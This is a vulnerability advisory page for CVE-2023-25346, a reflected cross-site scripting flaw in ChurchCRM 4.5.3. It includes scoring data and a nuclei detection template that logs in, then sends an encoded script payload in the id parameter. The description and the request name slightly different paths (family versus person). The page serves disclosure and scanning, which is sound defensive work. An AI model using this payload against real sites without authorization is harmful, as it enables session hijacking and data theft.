ChurchCRM 4.5.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: POST /session/begin ; GET /v2/person/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<script>alert(document.domain)</script>") and contains(body_2, "ChurchCRM")

Run it with nuclei: nuclei -id CVE-2023-25346 -u <target>

The full check

id: CVE-2023-25346

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-25346
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25346
    - https://github.com/ChurchCRM/CRM
    - https://github.com/10splayaSec/CVE-Disclosures
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-25346
    cwe-id: CWE-79
    epss-score: 0.01524
    epss-percentile: 0.74863
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        GET /v2/person/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

References

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